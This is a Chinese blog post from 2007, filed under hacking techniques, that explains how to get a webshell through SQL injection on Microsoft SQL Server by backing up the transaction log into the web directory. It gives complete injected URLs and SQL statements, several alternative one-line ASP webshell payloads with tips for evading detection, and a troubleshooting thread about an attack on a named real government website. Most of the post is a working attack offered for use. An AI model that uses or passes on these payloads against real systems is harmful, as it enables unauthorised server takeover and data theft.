注册 登录  
 加关注
查看详情
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

我的博客

小猪哥

 
 
 

日志

 
 

LOG备份常见问题  

2007-03-13 16:11:10|  分类: 黑客技术 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

LOG备份

当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.

但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也

好让我们对不能闭合的方法有一个全面的了解.

1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:

http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL

http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--

http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init

http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))%

%25>')--

http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'--

http://www.site.com/xx.asp?id=xxx;drop table cmd--

分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将

values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式

都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这

里就不多说了,可以提换的内容有:

a).<%%25Execute(request("go"))%%25>

b).<%Execute(request("go"))%>

c).%><%execute request("go")%><%

d).<script language=VBScript runat=server>execute request("sb")</Script>

e).<%25Execute(request("l"))%25>

2.LOG备份要注意的一些问题:

a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件

b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了

c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的

相关字段也为go

d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute' 

时候表示你已经成功了,连接吧!!

e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将

上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..

3.因为这篇文章用了很多前辈的东西,不敢说是原创,只能算做是讨论,我会将我所知道的东西在以后的

日子里一一更新上去..谢谢!!

4.感谢各位前辈提出这么一个好方法否则就不会有这篇文章了..

…………………………………………………………………………………………………………

今天测试log备份获取WEBSEHLL遇到点问题,首先说下我自己理解通过log备份和差异备份的区别(不对和不完善的请大家指出与补充)。LOG备份得到的WEBSHELL文件小,大大增加了成功率。避免了数据库里有特殊字符备份不成功的情况。今天在测试是没成功,备份出来没有一句话马,功能失去了,也就没有任何意义了。提交上来讨论下错误之处。

由于是议题讨论。用了真实地址,请勿破坏!

心下是我的语句:

;alter database dweb set RECOVERY FULL--

;create table cmd (a image)--

;backup log dweb to disk = 'c:\Sammy' with init--

;insert into cmd (a) values ('0x3C256576616C20726571756573742822732229253E')--

;backup log dweb to disk = 'd:\chen\s2.asp'--

备份结果

http://www.gzii.gov.cn/s2.asp

十六进制形式备份出来了!

我再用如下语句!

;Drop table [cmd]--

;alter database dweb set RECOVERY FULL--

;create table cmd (a image)--

;backup log dweb to disk = 'c:\Sammy' with init--

;insert into cmd (a) values ('<%eval request("s")%>')--

;backup log dweb to disk = 'd:\chen\sssjjk.asp'--

如果又如下

http://www.gzii.gov.cn/sssjjk.asp

是何原因使LOG备份不成功呢?

是因为数据表没有写到你备份的数据库当中,导致备份的ASP文件中没有写入我们希望的一句话木马,请在和数据表操作相关的语句中加入数据库名,如:create table dweb.dbo.[cmd] (a image)--,然后再执行备份语句就可以成功了

呵呵,你把马改成"<%%25Execute(request("s"))%%25>" 来试试.. 

注意,是加个.%25

问题已解决,把语句换成!

;insert into cmd (a) values ('<%%25eval request("s")%%25>')--

确实能成功!谢谢!

;insert into cmd (a) values ('0x3C256576616C20726571756573742822732229253E')--

楼主的这句是写 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木马

把单引号去掉就可以了 

insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)--

…………………………………………………………………………………………………………

Blog被人渗透了一下,不知道各位掉了什么东西没有。原来有一次blog的目录可以列出来,那次我掉了一个小东西,然后今天别人告诉我NBSI 3用了那个东西的方法……呵呵,有点晕,就是下面的,成功率还是很高的,大家可以试试看。嗯,方法流出去无所谓,文章留着吧。 

  dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。 

  饭要一口一口的吃,技术问题也要一个一个的解决,得到webshell首先要知道物理路径,然后才能说其他的。关于物理路径的暴露有很多方法,注入也可以得到,这点nbsi2已经做到了,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。 

  然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。 

  默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以: 

  alter database XXXX set RECOVERY FULL 

  其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。 

  剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下: 

  create table cmd (a image) 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  这样你已经得到一个webshell了。 

  到这里就完了么?没有,呵呵,我们继续。 

到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。 

  首先是初始化这个日志。 

  backup log XXXX to disk = ’c:\caonima’ with init 

  这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。 

  然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是: 

  alter database XXXX set RECOVERY FULL 

  backup log XXXX to disk = ’c:\Sammy’ with init 

  create table cmd (a image) 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  这样不好,感觉上多了一条没用的东西。 

  create table cmd (a image) 

  确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是: 

  alter database XXXX set RECOVERY FULL 

  create table cmd (a image) 

  backup log XXXX to disk = ’c:\Sammy’ with init 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。

  评论这张
 
阅读(267)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018